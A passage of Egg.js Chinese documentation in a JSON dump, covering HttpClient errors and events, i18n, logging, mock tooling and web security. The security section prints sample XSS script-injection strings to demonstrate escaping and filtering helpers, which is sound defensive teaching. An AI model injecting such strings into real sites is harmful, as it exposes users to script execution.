异常名称：`ResponseError, code: ECONNRESET`\n- 出现场景：服务端主动断开 socket 连接，导致 HTTP 请求链路异常。\n- 排查建议：检查服务端是否发生网络异常。\n\n### 服务不可达\n\n- 异常名称：`RequestError, code: ECONNREFUSED, status: -1`\n- 出现场景：请求的 URL 所属 IP 或端口无法连接。\n- 排查建议：确保 IP 或端口设置正确。\n\n### 域名不存在\n\n- 异常名称：`RequestError, code: ENOTFOUND, status: -1`\n- 出现场景：请求的 URL 域名无法通过 DNS 解析。\n- 排查建议：确保域名存在，检查 DNS 服务配置。\n\n### JSON 响应数据格式错误\n\n- 异常名称：`JSONResponseFormatError`\n- 出现场景：设置 `dataType=json` 但响应数据不是 JSON 格式时抛出。\n- 排查建议：确保服务端返回正确的 JSON 格式数据。\n\n## 全局 `request` 和 `response` 事件\n\n在企业应用场景中，常常会有统一 tracer 日志的需求。\n为了方便在 app 层面统一监听 HttpClient 的请求和响应，我们约定了全局 `request` 和 `response` 事件来暴露这两个事件。\n\n```\n    init options\n        |\n        V\n    emit `request` event\n        |\n        V\n    send request and receive response\n        |\n        V\n    emit `response` event\n        |\n        V\n       end\n```\n\n### `request` 事件：发生在网络操作发生之前\n\n请求发送之前，会触发一个 `request` 事件，允许对请求做拦截。\n\n```js\napp.httpClient.on('request', (req) => {\n  req.url; // 请求 URL\n  req.ctx; // 发起这次请求的当前上下文\n\n  // 可以在这里设置一些 trace headers，方便全链路跟踪\n});\n```\n\n### `response` 事件：发生在网络操作结束之后\n\n请求结束之后会触发一个 `response` 事件，这样外部就可以订阅这个事件来打印日志。\n\n```js\napp.httpClient.on('response', (result) => {\n  result.res.status; // 响应状态码\n  result.ctx; // 发起这次请求的当前上下文\n  result.req; // 对应的 req 对象，即 request 事件里的那个 req\n});\n```\n\n## 示例代码\n\n完整示例代码可以在 [eggjs/examples/httpclient](https://github.com/eggjs/examples/blob/master/httpclient) 找到。\n\n其他参考链接：\n\n- [urllib](https://github.com/node-modules/urllib)\n- [httpclient](https://github.com/eggjs/egg/blob/next/packages/egg/src/lib/core/httpclient.ts)\n- [formstream](https://github.com/node-modules/formstream)\n- [http](https://nodejs.org/api/http.html)\n- [https](https://nodejs.org/api/https.html)\n- [charles](https://www.charlesproxy.com/)\n- [fiddler](http://www.telerik.com/fiddler)\n"
  },
  {
    "path": "site/docs/zh-CN/core/i18n.md",
    "content": "# 国际化（I18n）\n\n为了方便开发多语言应用，框架内置了国际化（I18n）支持，由 [@eggjs/i18n](https://github.com/eggjs/egg/tree/next/plugins/i18n) 插件提供。\n\n## 默认语言\n\n默认语言是 `en-US`。如果我们想修改默认语言为简体中文，可以进行以下设置：\n\n```js\n// config/config.default.js\nexports.i18n = {\n  defaultLocale: 'zh-CN',\n};\n```\n\n## 切换语言\n\n我们可以通过下面几种方式修改应用的当前语言（修改后会记录到 `locale` 这个 Cookie），下次请求会直接使用设定好的语言。优先级从高到低依次是：\n\n1. query: `/?locale=en-US`\n2. cookie: `locale=zh-TW`\n3. header: `Accept-Language: zh-CN,zh;q=0.5`\n\n如果需要修改 query 或 Cookie 参数名称，可以按照如下方式配置：\n\n```js\n// config/config.default.js\nexports.i18n = {\n  queryField: 'locale',\n  cookieField: 'locale',\n  // Cookie 默认一年后过期, 如果设置为 Number，则单位为 ms\n  cookieMaxAge: '1y',\n};\n```\n\n## 编写 I18n 多语言文件\n\n不同语言的配置文件是独立存放的，统一放置在 `config/locale/*.js` 目录下。例如：\n\n```\n- config/locale/\n  - en-US.js\n  - zh-CN.js\n  - zh-TW.js\n```\n\n无论是在应用目录、框架还是插件的 `config/locale` 目录下，设置都是同样生效的。注意单词的拼写应该是 locale，而不是 locals。\n\n例如，可以这样配置中文语言文件：\n\n```js\n// config/locale/zh-CN.js\nmodule.exports = {\n  Email: '邮箱',\n};\n```\n\n也可以使用 JSON 格式的语言文件：\n\n```json\n// config/locale/zh-CN.json\n{\n  \"Email\": \"邮箱\"\n}\n```\n\n## 获取多语言文本\n\n我们可以使用 `__`（别名：`gettext`）函数获取 locale 文件夹下面的多语言文本。\n\n**注意：`__` 是两个下划线。**\n\n以上面配置过的多语言为例：\n\n```js\nctx.__('Email');\n// zh-CN => 邮箱\n// en-US => Email\n```\n\n如果文本中含有 `%s`、`%j` 等 format 函数，可以按照 [`util.format()`](https://nodejs.org/api/util.html#util_util_format_format_args) 类似的方式调用：\n\n```js\n// config/locale/zh-CN.js\nmodule.exports = {\n  'Welcome back, %s!': '欢迎回来，%s！',\n};\n\nctx.__('Welcome back, %s!', 'Shawn');\n// zh-CN => 欢迎回来，Shawn！\n// en-US => Welcome back, Shawn!\n```\n\n同时支持数组下标占位符方式，例如：\n\n```js\n// config/locale/zh-CN.js\nmodule.exports = {\n  'Hello {0}! My name is {1}.': '你好 {0}！我的名字叫 {1}。',\n};\n\nctx.__('Hello {0}! My name is {1}.', ['foo', 'bar']);\n// zh-CN => 你好 foo！我的名字叫 bar。\n// en-US => Hello foo! My name is bar.\n```\n\n### Controller 中使用\n\n```js\nclass HomeController extends Controller {\n  async index() {\n    const ctx = this.ctx;\n    ctx.body = {\n      message: ctx.__('Welcome back, %s!', ctx.user.name),\n      // 或者使用 gettext，gettext 是 `__` 函数的别名\n      // message: ctx.gettext('Welcome back', ctx.user.name)\n      user: ctx.user,\n    };\n  }\n}\n```\n\n### View 中使用\n\n假设我们使用的模板引擎是 [Nunjucks](https://github.com/eggjs/egg-view-nunjucks)。\n\n```html\n<li>{{ __('Email') }}：{{ user.email }}</li>\n<li>{{ __('Welcome back, %s!', user.name) }}</li>\n<li>{{ __('Hello {0}! My name is {1}.', ['foo', 'bar']) }}</li>\n```\n"
  },
  {
    "path": "site/docs/zh-CN/core/index.md",
    "content": "# 核心功能\n\n- [本地开发](./development.md)\n- [单元测试](./unittest.md)\n- [测试 Mock 工具（@eggjs/mock / mm）](./mock.md)\n- [应用部署](./deployment.md)\n- [日志](./logger.md)\n- [HttpClient](./httpclient.md)\n- [Cookie 与 Session](./cookie-and-session.md)\n- [多进程模型和进程间通讯](./cluster-and-ipc.md)\n- [View 模板渲染](./view.md)\n- [异常处理](./error-handling.md)\n- [安全](./security.md)\n- [国际化（I18n）](./i18n.md)\n"
  },
  {
    "path": "site/docs/zh-CN/core/logger.md",
    "content": "# 日志\n\n日志对于 Web 开发的重要性毋庸置疑，它对于监控应用的运行状态、问题排查等都有非常重要的意义。\n\n框架内置了强大的企业级日志支持，由 [egg-logger](https://github.com/eggjs/egg-logger) 模块提供。\n\n主要特性包括：\n\n- 日志分级。\n- 统一错误日志：所有 logger 中使用 `.error()` 打印的 `ERROR` 级别日志都会打印到统一的错误日志文件中，便于追踪。\n- 启动日志和运行日志分离。\n- 自定义日志。\n- 多进程日志。\n- 自动切割日志。\n- 高性能。\n\n## 日志路径\n\n- 所有日志文件默认都放在 `${appInfo.root}/logs/${appInfo.name}` 路径下，例如 `/home/admin/logs/example-app`。\n- 在本地开发环境（env: local）和单元测试环境（env: unittest）中，为避免冲突和集中管理，日志会打印在项目目录下的 logs 目录，例如 `/path/to/example-app/logs/example-app`。\n\n如果想自定义日志路径：\n\n```js\n// config/config.${env}.js\nexports.logger = {\n  dir: '/path/to/your/custom/log/dir',\n};\n```\n\n## 日志分类\n\n框架内置了几种日志，分别在不同的场景下使用：\n\n- appLogger `${appInfo.name}-web.log`，例如 `example-app-web.log`，应用相关日志，供应用开发者使用的日志。我们在绝大多数情况下都在使用它。\n- coreLogger `egg-web.log`：框架内核、插件日志。\n- errorLogger `common-error.log`：实际上一般不会直接使用它，任何 logger 的 `.error()` 调用输出的日志都会重定向到这里，重点通过查看此日志定位异常。\n- agentLogger `egg-agent.log`：agent 进程日志，框架和使用到 agent 进程执行任务的插件会打印一些日志到这里。\n\n如果想自定义以上日志文件名称，可以在 config 文件中覆盖默认值：\n\n```js\n// config/config.${env}.js\nmodule.exports = (appInfo) => {\n  return {\n    logger: {\n      appLogName: `${appInfo.name}-web.log`,\n      coreLogName: 'egg-web.log',\n      agentLogName: 'egg-agent.log',\n      errorLogName: 'common-error.log',\n    },\n  };\n};\n```\n\n## 如何打印日志\n\n### Context Logger\n\n如果我们在处理请求时需要打印日志，这时候使用 Context Logger 用于记录 Web 行为相关的日志。\n\n每行日志会自动记录当前请求的一些基本信息，如 `[$userId/$ip/$traceId/${cost}ms $method $url]`。\n\n```js\nctx.logger.debug('debug info');\nctx.logger.info('some request data: %j', ctx.request.body);\nctx.logger.warn('警告！');\n\n// 错误日志记录，直接会将错误日志的完整堆栈信息记录下来，并且输出到 errorLog 中\n// 为了保证异常可追踪，必须保证所有抛出的异常都是 Error 类型，因为只有 Error 类型才会带上堆栈信息，定位到问题。\nctx.logger.error(new Error('whoops'));\n```\n\n对于框架开发者和插件开发者，还可以使用 `ctx.coreLogger`。\n\n例如：\n\n```js\nctx.coreLogger.info('info');\n```\n\n### App Logger\n\n如果我们想做一些应用级别的日志记录，如记录启动阶段的一些数据信息，可以通过 App Logger 来完成。\n\n```js\n// app.js\nmodule.exports = (app) => {\n  app.logger.debug('debug info');\n  app.logger.info('启动耗时 %d ms', Date.now() - start);\n  app.logger.warn('警告！');\n\n  app.logger.error(someErrorObj);\n};\n```\n\n对于框架和插件开发者，还可以使用 `app.coreLogger`。\n\n```js\n// app.js\nmodule.exports = (app) => {\n  app.coreLogger.info('启动耗时 %d ms', Date.now() - start);\n};\n```\n\n### Agent Logger\n\n在开发框架和插件时有时会需要在 Agent 进程运行代码，这时使用 `agent.coreLogger`。\n\n```js\n// agent.js\nmodule.exports = (agent) => {\n  agent.logger.debug('debug info');\n  agent.logger.info('启动耗时 %d ms', Date.now() - start);\n  agent.logger.warn('警告！');\n\n  agent.logger.error(someErrorObj);\n};\n```\n\n如需详细了解 Agent 进程，请参考[多进程模型](./cluster-and-ipc.md)。\n\n## 日志文件编码\n\n默认编码为 `utf-8`，可通过下面的方式进行覆盖：\n\n```js\n// config/config.${env}.js\nexports.logger = {\n  encoding: 'gbk',\n};\n```\n\n## 日志文件格式\n\n设置输出格式为 JSON，方便日志监控系统分析。\n\n```js\n// config/config.${env}.js\nexports.logger = {\n  outputJSON: true,\n};\n```\n\n## 日志级别\n\n日志分为 `NONE`、`DEBUG`、`INFO`、`WARN` 和 `ERROR` 5 个级别。\n\n日志打印到文件中的同时，为了方便开发，也会同时打印到终端中。\n\n### 文件日志级别\n\n默认只会输出 `INFO` 及以上（即 `WARN` 和 `ERROR`）的日志到文件中。\n\n可以通过下面的方式配置输出到文件中的日志级别：\n\n- 打印所有级别的日志到文件中：\n\n```js\n// config/config.${env}.js\nexports.logger = {\n  level: 'DEBUG',\n};\n```\n\n- 关闭所有输出到文件的日志：\n\n```js\n// config/config.${env}.js\nexports.logger = {\n  level: 'NONE',\n};\n```\n\n#### 生产环境下打印 debug 日志\n\n为了避免一些插件的调试日志在生产环境中打印导致性能问题，生产环境默认禁止打印 `DEBUG` 级别的日志。如果确实有需求在生产环境中打印 `DEBUG` 日志进行调试，需要打开 `allowDebugAtProd` 配置项。\n\n```js\n// config/config.prod.js\nexports.logger = {\n  level: 'DEBUG',\n  allowDebugAtProd: true,\n};\n```\n\n### 终端日志级别\n\n默认只会输出 `INFO` 及以上（即 `WARN` 和 `ERROR`）的日志到终端中。这些日志默认只在 `local` 和 `unittest` 环境下打印到终端。\n\n可以通过下面的方式配置输出到终端的日志级别：\n\n- 打印所有级别的日志到终端：\n\n```js\n// config/config.${env}.js\nexports.logger = {\n  consoleLevel: 'DEBUG',\n};\n```\n\n- 关闭所有输出到终端的日志：\n\n```js\n// config/config.${env}.js\nexports.logger = {\n  consoleLevel: 'NONE',\n};\n```\n\n- 基于性能考虑，在正式环境下，默认会关闭终端日志输出。如有需要，可以通过下面的配置进行开启（**不推荐**）：\n\n```js\n// config/config.${env}.js\nexports.logger = {\n  disableConsoleAfterReady: false,\n};\n```\n\n## 自定义日志\n\n### 增加自定义日志\n\n一般应用无需配置自定义日志，因为日志打太多或太分散都会导致关注度分散，反而难以管理和难以排查发现问题。\n\n如果确实有这样的需求，可以参照下面的配置：\n\n```js\n// config/config.${env}.js\nconst path = require('path');\n\nmodule.exports = (appInfo) => {\n  return {\n    customLogger: {\n      xxLogger: {\n        file: path.join(appInfo.root, 'logs/xx.log'),\n      },\n    },\n  };\n};\n```\n\n你可以通过 `app.getLogger('xxLogger')` 或 `ctx.getLogger('xxLogger')` 获取自定义日志对象。最终打印的日志格式和 coreLogger 类似。\n\n### 自定义日志格式\n\n```js\n// config/config.${env}.js\nconst path = require('path');\n\nmodule.exports = (appInfo) => {\n  return {\n    customLogger: {\n      xxLogger: {\n        file: path.join(appInfo.root, 'logs/xx.log'),\n        formatter(meta) {\n          return `[${meta.date}] ${meta.message}`;\n        },\n        contextFormatter(meta) {\n          return `[${meta.date}] [${meta.ctx.method} ${meta.ctx.url}] ${meta.message}`;\n        },\n      },\n    },\n  };\n};\n```\n\n### 高级自定义日志\n\n日志默认是打印到日志文件中，同时在本地开发时也会打印到终端。但有时，我们需要将日志打印到其他媒介，比如需要将错误日志打印到 `common-error.log` 的同时，上报给第三方服务。\n\n首先，我们定义一个日志的传输通道（transport），该通道代表第三方日志服务。\n\n```js\nconst util = require('util');\nconst Transport = require('egg-logger').Transport;\n\nclass RemoteErrorTransport extends Transport {\n  // 定义 log 方法。在此方法中，将日志上报给远端服务。\n  log(level, args) {\n    let log;\n    if (args[0] instanceof Error) {\n      const err = args[0];\n      log = util.format(\n        '%s: %s\\n%s\\npid: %s\\n',\n        err.name,\n        err.message,\n        err.stack,\n        process.pid,\n      );\n    } else {\n      log = util.format(...args);\n    }\n\n    this.options.app\n      .curl('http://url/to/remote/error/log/service/logs', {\n        data: log,\n        method: 'POST',\n      })\n      .catch(console.error);\n  }\n}\n\n// 在 app.js 中给 errorLogger 添加 transport，这样每条日志就会同时打印到这个 transport。\napp\n  .getLogger('errorLogger')\n  .set('remote', new RemoteErrorTransport({ level: 'ERROR', app }));\n```\n\n上述代码示例中，虽然比较简单，但是在实际使用时需要考虑性能问题。通常采取先暂存至内存，再定时上传的策略，以此优化性能。\n\n## 日志切割\n\n企业级日志一个最常见的需求之一是对日志进行自动切割，以方便管理。框架对日志切割的支持由 [@eggjs/logrotator](https://github.com/eggjs/logrotator) 插件提供。\n\n### 按天切割\n\n这是框架的默认日志切割方式，在每日 `00:00` 按照 `.log.YYYY-MM-DD` 文件名进行切割。\n\n以 appLog 为例，当前写入的日志为 `example-app-web.log`，当凌晨 `00:00` 时，会对日志进行切割，把过去一天的日志按 `example-app-web.log.YYYY-MM-DD` 的格式切割为单独的文件。\n\n### 按文件大小切割\n\n我们也可以选择按照文件大小进行切割。例如，当文件超过 2G 时进行切割。\n\n举个例子，我们需要把 `egg-web.log` 按照大小进行切割：\n\n```js\n// config/config.${env}.js\nconst path = require('path');\n\nmodule.exports = (appInfo) => {\n  return {\n    logrotator: {\n      filesRotateBySize: [\n        path.join(appInfo.root, 'logs', appInfo.name, 'egg-web.log'),\n      ],\n      maxFileSize: 2 * 1024 * 1024 * 1024,\n    },\n  };\n};\n```\n\n添加到 `filesRotateBySize` 的日志文件将不再按天进行切割。\n\n### 按小时切割\n\n我们还可以选择按小时切割，这和默认的按天切割很相似，只是频率变成了每小时。\n\n比如，我们希望把 `common-error.log` 按小时进行切割：\n\n```js\n// config/config.${env}.js\nconst path = require('path');\n\nmodule.exports = (appInfo) => {\n  return {\n    logrotator: {\n      filesRotateByHour: [\n        path.join(appInfo.root, 'logs', appInfo.name, 'common-error.log'),\n      ],\n    },\n  };\n};\n```\n\n添加到 `filesRotateByHour` 的日志文件也将不再按天切割。\n\n## 性能\n\n通常，Web 访问是高频访问，每次输出日志直接写磁盘会导致频繁的磁盘 IO 操作。为了提升性能，我们采取的文件日志写入策略是：\n\n> 日志同步写入内存，异步每隔一段时间（默认 1 秒）进行刷盘。\n\n更多细节，请参考 [egg-logger](https://github.com/eggjs/egg-logger) 和 [@eggjs/logrotator](https://github.com/eggjs/egg/tree/next/plugins/logrotator)。\n"
  },
  {
    "path": "site/docs/zh-CN/core/mock.md",
    "content": "---\ntitle: 测试 Mock 工具（@eggjs/mock / mm）\n---\n\nEgg 为应用单元测试抽取了专门的 Mock 辅助包：**`@eggjs/mock`**（历史上也常被称为 **egg-mock**）。\n\n- 仓库（Egg 3.x）：https://github.com/eggjs/mock/tree/5.x\n- API 说明：请以仓库 README 为准。\n\n`@eggjs/mock` 底层基于 **`mm`**（Mock Mate），提供更通用的打桩/猴子补丁能力。\n\n- mm 仓库：https://github.com/node-modules/mm\n\n## 安装\n\n```bash\nnpm i @eggjs/mock --save-dev\n```\n\n> 你可能会在旧文档/历史代码中看到 `egg-mock`。对 Egg 3.x，推荐直接使用 `@eggjs/mock`。\n\n## 快速开始\n\n### 创建 app 实例\n\n```js\nconst mock = require('@eggjs/mock');\n\ndescribe('test/controller/home.test.js', () => {\n  let app;\n\n  before(async () => {\n    app = mock.app({ baseDir: 'path/to/your/app' });\n    await app.ready();\n  });\n\n  after(() => app.close());\n});\n```\n\n### 使用 bootstrap 避免重复初始化\n\n```js\nconst { app, mock, assert } = require('egg-mock/bootstrap');\n\ndescribe('test/controller/home.test.js', () => {\n  // 测试用例\n});\n```\n\n> bootstrap 会帮你做常用的初始化/清理流程，大多数项目直接用它即可。\n\n### 创建 Context\n\n```js\nit('should get a ctx', () => {\n  const ctx = app.mockContext();\n  assert(ctx.method === 'GET');\n});\n\nit('should mock ctx.user', () => {\n  const ctx = app.mockContext({\n    user: { name: 'fengmk2' },\n  });\n  assert(ctx.user.name === 'fengmk2');\n});\n```\n\n## 每个用例后恢复 mock\n\n在使用 `mm` / `@eggjs/mock` 时，需要记得恢复被 mock 的状态，避免污染其它用例：\n\n```js\nconst mm = require('mm');\n\nafterEach(() => mm.restore());\n```\n\n如果你使用了 `egg-mock/bootstrap`，它会在 `afterEach` 中自动帮你 restore。\n\n## mm（Mock Mate）API\n\n`mm` 是通用的 monkey-patch 工具库，`@eggjs/mock` 底层基于它实现，很多 Egg 的测试也会直接使用 `mm`。\n\n### 推荐使用 `@eggjs/mock` 的导出\n\n为了保持 Egg 生态的一体性，建议优先使用 `@eggjs/mock`（egg-mock）导出的 `mm`：它与 `mm` 兼容，同时还包含 Egg 相关的 mock 能力。\n\n```js\n// CJS\nconst { app, mm } = require('egg-mock/bootstrap');\n// bootstrap 已经在 afterEach 中自动执行了 mm.restore()\n\n// 或者\nconst mock = require('@eggjs/mock');\nmock(target, 'prop', value);\nmock.restore();\n```\n\n如果确实需要，也可以直接使用独立的 `mm` 包：\n\n```js\nimport mm, { restore } from 'mm';\n```\n\n### 核心能力\n\n- `mm(target, property, value)` / `mm.mock(...)`：mock/打桩某个属性。\n- `mm.restore()` / `restore()`：还原所有被 mock 的属性。\n- `mm.isMocked(target, property)`：判断某个属性是否已被 mock。\n- `mm.spy(target, method)`：只做 spy（记录调用次数/参数）。\n\n> 当 mock 的属性是函数时，会自动附带 spy 字段：`called`、`calledArguments`、`lastCalledArguments`。\n\n### 回调风格（Node callback）辅助\n\n- `mm.data(target, method, data[, timeout])`：回调返回 `(null, data)`。\n- `mm.datas(target, method, datas[, timeout])`：回调返回 `(null, ...datas)`。\n- `mm.empty(target, method[, timeout])`：回调返回 `(null, null)`。\n- `mm.error(target, method, error[, props|timeout][, timeout])`：回调返回 error。\n- `mm.errorOnce(...)`：类似 `error`，但只生效一次。\n\n### 同步函数辅助\n\n- `mm.syncData(target, method, value)`：直接 return。\n- `mm.syncEmpty(target, method)`：return `undefined`。\n- `mm.syncError(target, method, error[, props])`：直接 throw。\n\n### HTTP mock\n\n- `mm.http.request(url, data[, headers][, delay])`：mock `http.request` / `http.get`。\n- `mm.http.requestError(url[, reqError][, resError][, delay])`：mock request/response error。\n- `mm.https.request(...)` / `mm.https.requestError(...)`：同理（https）。\n\n### 其它\n\n- `mm.spawn(code, stdout, stderr[, timeout])`：mock `child_process.spawn`。\n- `mm.classMethod(instance, method, mockFn)`：通过 prototype mock class method。\n\n完整、最新的 API 仍建议以 mm 仓库为准：\nhttps://github.com/node-modules/mm\n"
  },
  {
    "path": "site/docs/zh-CN/core/security.md",
    "content": "# 安全\n\n## Web 安全概念\n\nWeb 应用中存在很多安全风险，这些风险可能会被黑客利用。轻则篡改网页内容，重则窃取网站内部数据。更为严重的，则是在网页中植入恶意代码，使用户受到侵害。常见的安全漏洞包括：\n\n- XSS 攻击：对 Web 页面注入脚本，使用 JavaScript 窃取用户信息，诱导用户操作。\n- CSRF 攻击：伪造用户请求，向网站发起恶意请求。\n- 钓鱼攻击：利用网站的跳转链接或者图片制造钓鱼陷阱。\n- HTTP 参数污染：利用对参数格式验证不完善，对服务器进行参数注入攻击。\n- 远程代码执行：用户通过浏览器提交执行命令。由于服务器端没有对执行函数做过滤，导致在没有指定绝对路径下执行命令。\n\n框架本身针对 Web 端常见的安全风险，内置了丰富的解决方案：\n\n- 利用 [extend](../basics/extend.md) 机制，扩展了 Helper API，提供了各种模板过滤函数，防止钓鱼或 XSS 攻击。\n- 常见 Web 安全头的支持。\n- CSRF 的防御方案。\n- 灵活的安全配置，可以对不同的请求 url 进行匹配。\n- 可定制的白名单，用于安全跳转和 url 过滤。\n- 各种模板相关的工具函数做预处理。\n\n框架内置了安全插件 [@eggjs/security](https://github.com/eggjs/egg/tree/master/plugins/security)，提供了默认的安全实践。\n\n### 开启与关闭配置\n\n注意：除非清楚地确认后果，否则不建议擅自关闭安全插件提供的功能。\n\n框架的安全插件默认是开启的。如果想关闭其中一些安全防范，直接设置该项的 `enable` 属性为 false 即可。例如关闭 xframe 防范：\n\n```js\nexports.security = {\n  xframe: {\n    enable: false,\n  },\n};\n```\n\n### Match 和 Ignore\n\n`match` 和 `ignore` 方法和格式，与 [中间件通用配置](../basics/middleware.md#match-和-ignore) 一致。\n\n如果只想针对某个路径开启，可以配置 `match` 选项。例如，只对 `/example` 开启 CSP：\n\n```js\nexports.security = {\n  csp: {\n    match: '/example',\n    policy: {\n      // ...\n    },\n  },\n};\n```\n\n如果需要针对某个路径忽略某安全选项，则配置 `ignore` 选项。比如，为了合作商户能够嵌入我们的页面，针对 `/example` 关闭 xframe：\n\n```js\nexports.security = {\n  csp: {\n    ignore: '/example',\n    xframe: {\n      // ...\n    },\n  },\n};\n```\n\n如果要针对内部 IP 关闭部分安全防范：\n\n```js\nexports.security = {\n  csrf: {\n    // 判断是否需要 ignore 的方法，请求上下文 `context` 作为第一个参数\n    ignore: (ctx) => isInnerIp(ctx.ip),\n  },\n};\n```\n\n下面将针对具体的场景，来讲解如何使用框架提供的安全方案进行 Web 安全防范。\n\n---\n\n## 安全威胁 XSS 的防范\n\n[XSS](<https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)>)（Cross-Site Scripting，跨站脚本攻击）攻击是最常见的 Web 攻击，其重点是“跨域”和“客户端执行”。\n\nXSS 攻击一般分为两类：\n\n- Reflected XSS（反射型的 XSS 攻击）\n- Stored XSS（存储型的 XSS 攻击）\n\n### Reflected XSS\n\n反射型的 XSS 攻击，主要是由服务端接收到客户端的不安全输入，在客户端触发执行从而发起 Web 攻击。比如：\n\n在某购物网站搜索物品，搜索结果会显示搜索的关键词。搜索关键词填入 `<script>alert('handsome boy')</script>`，点击搜索。页面没有对关键词进行过滤，这段代码就会直接在页面上执行，弹出 alert。\n\n#### 防范方式\n\n框架提供了 `helper.escape()` 方法对字符串进行 XSS 过滤。\n\n```js\nconst str = '><script>alert(\"abc\")</script><';\nconsole.log(ctx.helper.escape(str));\n// => &gt;&lt;script&gt;alert(&quot;abc&quot;) &lt;/script&gt;&lt;\n```\n\n当网站需要直接输出用户输入的结果时，请务必使用 `helper.escape()` 包裹起来，如在 [@eggjs/view-nunjucks](https://github.com/eggjs/egg/tree/master/plugins/view-nunjucks) 里面就覆盖掉了内置的 `escape`。\n\n另外一种情况，网站输出的内容会提供给 JavaScript 来使用。这个时候需要使用 `helper.sjs()` 来进行过滤。\n\n`helper.sjs()` 用于在 JavaScript（包括 onload 等 event）中输出变量，会对变量中字符进行 JavaScript ENCODE，将所有非白名单字符转义为 `\\x` 形式，防止 XSS 攻击，也确保在 js 中输出的正确性。使用实例：\n\n```js\nconst foo = '\"hello\"';\n\n// 未使用 sjs\nconsole.log(`var foo = \"${foo}\";`);\n// => var foo = \"\"hello\"\";\n\n// 使用 sjs\nconsole.log(`var foo = \"${ctx.helper.sjs(foo)}\";`);\n// => var foo = \"\\\\x22hello\\\\x22\";\n```\n\n还有一种情况，有时候我们需要在 JavaScript 中输出 json，若未做转义，易被利用为 XSS 漏洞。框架提供了 `helper.sjson()` 宏做 json encode，会遍历 json 中的 key，将 value 的值中，所有非白名单字符转义为 `\\x` 形式，防止 XSS 攻击。同时保持 json 结构不变。\n若存在模板中输出一个 JSON 字符串给 JavaScript 使用的场景，请使用 `helper.sjson(变量名)` 进行转义。\n\n**处理过程较复杂，性能损耗较大，请仅在必要时使用。**\n\n实例：\n\n```html\n<script>\n  window.locals = {{ helper.sjson(locals) }};\n</script>\n```\n\n### Stored XSS\n\n基于存储的 XSS 攻击，是通过提交带有恶意脚本的内容存储在服务器上，当其他人查看这些内容时发起 Web 攻击。一般提交的内容都是通过一些富文本编辑器编辑的，很容易插入危险代码。\n\n#### 防范方式\n\n框架提供了 `helper.shtml()` 方法对字符串进行 XSS 过滤。\n\n注意，将富文本（包含 HTML 代码的文本）当成变量直接在模板里面输出时，需要用到 shtml 来处理。\n使用 shtml 可以输出 HTML 的 tag，同时执行 XSS 的过滤动作，过滤掉非法的脚本。\n\n**由于是一个非常复杂的安全处理过程，对服务器处理性能有一定影响，如果不是输出 HTML，请勿使用。**\n\n简单示例：\n\n```js\n// js\nconst value = `<a href=\"http://www.domain.com\">google</a><script>evilcode…</script>`;\n```\n\n```html\n<!-- 模板 -->\n<html>\n  <body>\n    {{ helper.shtml(value) }}\n  </body>\n</html>\n<!-- 输出为： -->\n<a href=\"http://www.domain.com\">google</a>&lt;script&gt;evilcode…&lt;/script&gt;\n```\n\n`shtml` 在 [xss](https://github.com/leizongmin/js-xss/) 模块基础上增加了针对域名的过滤。使用了严格的白名单机制，除了过滤掉 XSS 风险的字符串外，在 [默认规则](https://github.com/leizongmin/js-xss/blob/master/lib/default.js) 之外的 tag 和 attr 都会被过滤掉。\n\n例如，HTML 标签就不在白名单中，所以输出为空：\n\n```js\nconst html = '<html></html>';\n\n// html\n{\n  {\n    helper.shtml(html);\n  }\n}\n\n// 输出为空\n```\n\n常见的 `data-xx` 属性由于不在白名单中，所以都会被过滤。因此，在使用 shtml 时需要注意其适用场景，一般是针对来自用户的富文本输入。切不可以滥用 shtml，否则可能既受到功能限制，又会影响服务端性能。\n此类场景一般存在于论坛、评论系统等。即便是这样的系统，如果不支持 HTML 内容输入，也不要使用此 Helper，直接使用 `escape` 即可。\n\n### JSONP XSS\n\nJSONP 的 callback 参数非常危险，它有两种风险可能导致 XSS：\n\n1. callback 参数意外截断 js 代码，特殊字符单引号、双引号、换行符均存在风险。\n2. callback 参数恶意添加标签（如 `<script>`），造成 XSS 漏洞。\n\n参考 [JSONP 安全攻防](http://blog.knownsec.com/2015/03/jsonp_security_technic/)。\n\n框架内部使用 [jsonp-body](https://github.com/node-modules/jsonp-body) 来对 JSONP 请求进行安全防范。\n\n防御内容：\n\n- callback 函数名称最长 50 个字符限制\n- callback 函数名只允许 `[`、`]`、`a-zA-Z0123456789_`、`$`、`.`，防止一般的 XSS、utf-7 XSS 等攻击。\n\n可定义配置：\n\n- callback 默认值为 `_callback`，可以重命名。\n- limit - 函数名称 length 限制，默认为 50。\n\n### 其他 XSS 的防范方式\n\n浏览器自身具有一定针对各种攻击的防范能力，它们一般是通过开启 Web 安全头生效的。框架内置了一些常见的 Web 安全头的支持。\n\n#### CSP\n\nW3C 的 Content Security Policy（内容安全策略），简称 CSP，主要用来定义页面可以加载哪些资源，减少 XSS 的发生。\n\n框架内支持 CSP 的配置，不过默认关闭，开启后可以有效地防止 XSS 攻击的发生。要配置 CSP，需要对 CSP 的政策有一定了解，具体细节可以参考 [CSP 是什么](https://www.zhihu.com/question/21979782)。\n\n#### X-Download-Options:noopen\n\n默认开启，禁用 IE 下载框的 Open 按钮，防止 IE 下载文件时默认被打开造成 XSS。\n\n#### X-Content-Type-Options:nosniff\n\n默认开启，禁用 IE8 的自动嗅探 MIME 功能，例如将 `text/plain` 错误地作为 `text/html` 渲染，特别是当站点提供的内容未必可信时。\n\n#### X-XSS-Protection\n\nIE 提供的一些 XSS 检测与防范机制，默认开启。\n\n- close 默认值为 false，即设置为 `1; mode=block`。\n\n## 安全威胁 CSRF 的防范\n\n[CSRF](https://www.owasp.org/index.php/CSRF)（Cross-site request forgery 跨站请求伪造），也被称为 `One Click Attack` 或者 `Session Riding`，通常缩写为 CSRF 或者 XSRF，是一种对网站的恶意利用。CSRF 攻击会发起恶意伪造的请求，严重影响网站的安全。因此，框架内置了 CSRF 防范方案。\n\n### 防范方式\n\n通常来说，对 CSRF 攻击有一些通用的[防范方案](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)，简单介绍几种常用防范方案：\n\n- Synchronizer Tokens：通过响应页面时，将 token 渲染到页面上。在 form 表单提交时，通过隐藏域提交 token。\n- Double Cookie Defense：在 Cookie 中设置 token，并在提交(比如 POST、PUT、PATCH、DELETE 等请求)时同时提交 Cookie，并通过 header 或 body 发送与 Cookie 中的 token，服务端进行对比校验。\n- Custom Header：信任带有特定的 header（比如 `X-Requested-With: XMLHttpRequest`）的请求。因为这个方案可以被绕过，像 rails 和 django 